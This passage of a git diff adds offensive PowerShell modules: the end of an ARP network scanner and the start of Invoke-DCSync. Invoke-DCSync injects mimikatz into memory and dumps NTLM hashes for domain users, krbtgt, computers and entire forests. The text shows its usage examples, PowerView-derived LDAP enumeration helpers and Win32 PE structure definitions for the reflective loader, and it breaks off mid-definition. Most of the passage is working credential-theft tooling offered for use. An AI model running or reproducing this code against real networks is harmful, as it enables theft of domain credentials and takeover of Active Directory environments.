in $r){ + [string]$t = $y.Keys + foreach ($ip in $y.Keys){ + if ($Resolve.IsPresent){ + $nbtname = [ArpScanner]::gethostbyaddrNetBIOS($ip) + echo "$ip - $nbtname" + } + } + + echo $y.Value + } + + } catch { + echo "[-] Error against network $ipcidr" + } + + } + +} + +} +New-Alias ArpScan Invoke-Arpscan \ No newline at end of file diff --git a/Modules/Invoke-DCSync.ps1 b/Modules/Invoke-DCSync.ps1 new file mode 100644 index 0000000..ea75d26 --- /dev/null +++ b/Modules/Invoke-DCSync.ps1 @@ -0,0 +1,3108 @@ +function Invoke-DCSync +{ +<# +.SYNOPSIS + +Uses dcsync from mimikatz to collect NTLM hashes from the domain. + +Author: @monoxgas +Improved by: @harmj0y + +Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause + +Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi +License: http://creativecommons.org/licenses/by/3.0/fr/ + +.DESCRIPTION + +Uses a mimikatz dll in memory to call dcsync against a domain. By default, it will enumerate all active domain users along with the krbtgt, and print out their current NTLM hash. Thanks to @JosephBialek for the Invoke-ReflectivePEinjection from which this is heavily based. Thanks to @gentilkiwi for mimikatz, we all love you :) Big ups to @harmj0y for the powerview project. The Get-NetUser and Get-NetComputer code is ripped for this script. + +.PARAMETER Users + +Optional, An array of usernames to query hashes for (Passable on the Pipeline). krbtgt will automatically get added + +.PARAMETER GroupName + +Optional, groupname to query for users. + +.PARAMETER UserFilter + +A customized ldap filter string to use to query for users, e.g. "(description=*admin*)" + +.PARAMETER GetComputers + +Will pull the machine hashes as well. Default is false + +.PARAMETER OnlyActive + +Will only pull users whos account is active on the domain. Default is true + +.PARAMETER PWDumpFormat + +Formats the output in 'user:id:lm:ntlm:::' format. Default is false + +.PARAMETER Domain + +The domain to DCSync. + +.PARAMETER DomainController + +The specific domain controller to DC sync. + +.PARAMETER DumpForest + +Execute the user target options on ALL domains in the current forest. +Only works from an EA context ;) + +.PARAMETER AllData + +Prints out raw mimikatz output. Default is false + +.EXAMPLE +> Invoke-DCSync -PWDumpFormat +Returns all active user hashes in 'user:id:lm:ntlm:::' format. + +.EXAMPLE +> Invoke-DCSync -OnlyActive:$false -GetComputers +Returns all user and computer object hashes in the domain + +.EXAMPLE +> Get-NetGroupMember -GroupName "EvilPeople" | % {$_.MemberName} | Invoke-DCSync +Returns the user hashes for account in the EvilPeople group + +.EXAMPLE +> Invoke-DCSync -GroupName "Domain Admins" | ft -wrap -autosize +Returns the hashes from just the users in the "Domain Admins" group + +.EXAMPLE +> Invoke-DCSync -UserFilter "(description=*admin*)" | ft -wrap -autosize +Returns the hashes from users with "admin" in their description. + +.EXAMPLE +> Invoke-DCSync -DumpForest | ft -wrap -autosize +Returns user hashes from all domains in the forest. + +.EXAMPLE +> Invoke-DCSync -DumpForest -Users @("krbtgt") | ft -wrap -autosize +Returns the krbtgt hashes from all domains in the forest. +#> + +[CmdletBinding(DefaultParameterSetName="DumpCreds")] +Param( + [Parameter(Position = 0,ValueFromPipeline=$true)] + [Array[]] + $Users, + + [String] + $GroupName, + + [String] + $UserFilter, + + [Switch] + $GetComputers = $false, + + [Switch] + $OnlyActive = $true, + + [Switch] + $PWDumpFormat = $false, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $DumpForest = $false, + + [Switch] + $AllData = $false +) + + Set-StrictMode -Version 2 + + ################################### + ########## PowerView ############ + ################################### + + function Translate-Name { + <# + .SYNOPSIS + Converts a user@fqdn to NT4 format. + .LINK + http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats + #> + [CmdletBinding()] + param( + [String] $DomainObject + ) + + $Domain = ($DomainObject -split "@")[1] + + $DomainObject = $DomainObject -replace "/","\" + + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $object, [String] $method, $parameters) { + $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters) + if ( $output ) { $output } + } + function Set-Property([__ComObject] $object, [String] $property, $parameters) { + [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters) + } + + $Translate = New-Object -comobject NameTranslate + + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { } + + Set-Property $Translate "ChaseReferral" (0x60) + + try { + Invoke-Method $Translate "Set" (5, $DomainObject) + (Invoke-Method $Translate "Get" (3)) + } + catch [System.Management.Automation.MethodInvocationException] { $_ } + } + + function Get-NetDomain { + <# + .PARAMETER Domain + + The domain name to query for, defaults to the current domain. + + .EXAMPLE + + PS C:\> Get-NetDomain -Domain testlab.local + + .LINK + + http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG + #> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain + ) + + process { + if($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + } + } + + function Get-NetForest { + <# + .PARAMETER Forest + + The forest name to query for, defaults to the current domain. + #> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + if($Forest) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Warning "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if($ForestObject) { + # get the SID of the forest root + $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value + $Parts = $ForestSid -Split "-" + $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } + } + } + + function Get-NetForestDomain { + <# + .PARAMETER Forest + + The forest name to query domain for. + + .PARAMETER Domain + + Return domains that match this term/wildcard. + #> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Forest, + + [String] + $Domain + ) + + process { + if($Domain) { + # try to detect a wild card so we use -like + if($Domain.Contains('*')) { + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} + } + else { + # match the exact domain name if there's not a wildcard + (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} + } + } + else { + # return all domains + $ForestObject = Get-NetForest -Forest $Forest + if($ForestObject) { + $ForestObject.Domains + } + } + } + } + + function Get-DomainSearcher { + <# + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + #> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if(!$Domain) { + $Domain = (Get-NetDomain).name + } + else { + if(!$DomainController) { + try { + # if there's no -DomainController specified, try to pull the primary DC + # to reflect queries through + $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } + } + + $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" + + $SearchString = "LDAP://" + if($DomainController) { + $SearchString += $DomainController + "/" + } + $SearchString += $DistinguishedName + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + $Searcher.PageSize = $PageSize + $Searcher + } + + function Get-NetComputer { + <# + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 + #> + + [CmdletBinding()] + Param ( + [String] + $Domain, + + [String] + $DomainController + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController + } + + process { + + if ($CompSearcher) { + + # server 2012 peculiarity- remove any mention to service pack + $CompSearcher.filter="(&(sAMAccountType=805306369))" + + try { + + $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $_.properties.samaccountname[0] + } + } + catch { + Write-Warning "Error: $_" + } + } + } + } + + + function Get-NetGroupMember { + <# + .PARAMETER GroupName + + The group name to query for users. + + .PARAMETER Domain + + The domain to query for group users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .LINK + + http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ + #> + + [CmdletBinding()] + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GroupName, + + [String] + $Domain = (Get-NetDomain).Name, + + [String] + $DomainController + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController + } + + process { + + if ($GroupSearcher) { + + $GroupSearcher.filter = "(&(samAccountType=268435456)(name=$GroupName))" + try { + $GroupDN = $GroupSearcher.FindOne().Properties.distinguishedname[0] + } + catch { + throw "Error resolving group '$GroupName'" + } + + if ($GroupDN) { + # use the LDAP_MATCHING_RULE_IN_CHAIN recursion + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN))" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) + $Members = $GroupSearcher.FindAll() + } + else { + Write-Error "Unable to find Group" + } + + $Members | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + # if the match ISN'T a group and the samaccount name exists + if(($Properties.samaccounttype -notmatch '268435456') -and ($Properties.samaccountname) ) { + $Properties.samaccountname[0] + } + } + } + } + } + + function Get-NetUser { + <# + .PARAMETER UserName + + Username filter string, wildcards accepted. + + .PARAMETER Domain + + The domain to query for users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + #> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $Filter + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $UserSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController + } + + process { + if($UserSearcher) { + # check if we're using a username filter or not + if($UserName) { + # samAccountType=805306368 indicates user objects + $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)" + } + else { + # filter is something like "(samAccountName=*blah*)" if specified + $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" + } + + $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $_.Properties.samaccountname[0] + } + } + } + } + + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', 